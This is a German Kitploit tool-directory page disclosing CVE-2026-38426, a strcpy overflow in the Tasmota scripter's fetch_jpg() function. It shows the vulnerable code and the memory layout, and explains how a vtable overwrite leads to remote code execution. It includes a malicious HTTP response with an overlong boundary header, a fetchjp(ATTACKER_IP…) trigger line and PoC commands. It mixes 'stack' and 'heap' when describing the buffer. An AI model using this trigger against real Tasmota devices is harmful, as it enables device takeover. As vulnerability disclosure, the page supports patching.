Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sermikr0/cve-2026-38426
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationHardware- & IoT-SicherheitRemote-Access-TrojanerBinary-Exploitation
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — strcpy() Stack-Pufferüberlauf in Tasmota fetch_jpg() boundary[40] (Tasmota <= 15.3.0.3)

Repository anzeigen
7vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-38426: strcpy()-Stack-Pufferüberlauf in Tasmota fetch_jpg() boundary[40]

CVE: CVE-2026-38426
Schweregrad: Kritisch (CVSS 9.8)
Produkt: Arendst Tasmota
Betroffene Version: <= 15.3.0.3
Datei: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funktion: fetch_jpg() — case 0 (erste Verbindung)
Autor: Saidakbarxon Maxsudxonov
Offenlegung: Verantwortungsvoll — vor Veröffentlichung an Tasmota gemeldet


Zusammenfassung

Eine klassische strcpy()-Pufferüberlauf-Schwachstelle existiert in der fetch_jpg()-Funktion des Tasmota-Scripter-Treibers. Die aus dem HTTP Content-Type-Antwortheader extrahierte MJPEG-Boundary-Zeichenfolge wird ohne Längenprüfung in einen festen 40-Byte-Puffer (boundary[40]) kopiert. Ein Angreifer, der den MJPEG-HTTP-Server kontrolliert, kann eine Boundary-Zeichenfolge mit mehr als 39 Zeichen bereitstellen, um den Puffer zu überlaufen und angrenzenden Heap-Speicher zu beschädigen – was potenziell eine Remotecodeausführung (RCE) auf dem ESP32 ermöglicht.


Schwachstellen-Code

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FESTE GRÖSSE — nur 40 Bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // enthält vtable-Zeiger
    HTTPClient http;     // enthält vtable-Zeiger
} jpg_task;

// Case 0: erste Verbindung
String boundary = http.header("Content-Type");
// Server sendet: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 Zeichen)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // KEINE LÄNGENPRÜFUNG — ÜBERLAUF!
}

Heap-Speicher-Layout (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← Überlauf beginnt hier
  +0x28  draw (bool)      ← beschädigt
  +0x29  scale (uint8_t)  ← beschädigt
  +0x2A  xp (uint16_t)    ← beschädigt
  +0x2C  yp (uint16_t)    ← beschädigt
  +0x2E  WiFiClient        ← vtable-Zeiger überschrieben → RCE
  +0x7E  HTTPClient        ← vtable-Zeiger überschrieben → RCE

Das Überschreiben des WiFiClient- oder HTTPClient-vtable-Zeigers mit einem vom Angreifer kontrollierten Wert führt zu RCE, wenn anschließend eine virtuelle Methode (read(), write(), connect()) aufgerufen wird.


Angriffsszenario

Der Angreifer betreibt einen HTTP-Server, mit dem Tasmota über fetchjp() verbunden wird. Der Server antwortet mit einem Content-Type-Header, der eine Boundary-Zeichenfolge länger als 39 Zeichen enthält:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmotas strcpy() kopiert 50+ Bytes in den 40-Byte-Puffer boundary, was zu einem Überlauf in benachbarte Strukturfelder führt.

Auslösen über Tasmota-Skript:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

Proof of Concept

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

Siehe CVE-2026-38426_poc.py für die vollständige Implementierung.


Auswirkungen

  • Vertraulichkeit: Hoch (RCE durch vtable-Hijacking auf ESP32)
  • Integrität: Hoch
  • Verfügbarkeit: Hoch (garantierter Absturz)
  • Angriffsvektor: Netzwerk
  • Authentifizierung: Keine erforderlich

Zeitplan

  • 2026-03-29: Schwachstelle entdeckt und an MITRE gemeldet
  • 2026-03-29: CVE-2026-38426 zugewiesen
  • 2026-05-xx: Patch von Tasmota veröffentlicht (v15.3.0.4+)

Referenzen

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
Tool herunterladen